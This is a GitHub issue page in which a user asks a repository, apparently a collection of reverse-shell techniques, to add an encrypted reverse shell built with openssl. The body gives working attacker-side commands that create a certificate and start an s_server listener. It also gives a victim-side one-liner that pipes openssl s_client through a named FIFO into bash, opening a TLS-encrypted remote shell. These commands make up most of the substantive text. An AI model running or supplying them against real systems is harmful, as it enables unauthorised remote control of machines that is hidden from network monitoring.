Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Feature request - SSL/TLS encrypted reverse shell using openssl #4

Open
xambroz opened this issue Jan 4, 2018 · 0 comments
Open

Feature request - SSL/TLS encrypted reverse shell using openssl #4

xambroz opened this issue Jan 4, 2018 · 0 comments

Comments

@xambroz
Copy link

xambroz commented Jan 4, 2018

Hello,
one of my favourite tools for reverse shell is openssl - present on many *nix platforms.

Attacker:
openssl req -x509 -sha256 -newkey rsa:4096 -keyout server.pem -out server.pem -days 10000 -nodes
openssl s_server -cert server.pem -port 8080

Victim:
rm -f /tmp/p; mkfifo /tmp/p ; openssl s_client -connect localhost:8080 -quiet 2>/dev/null 0</tmp/p | bash 1> /tmp/p
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant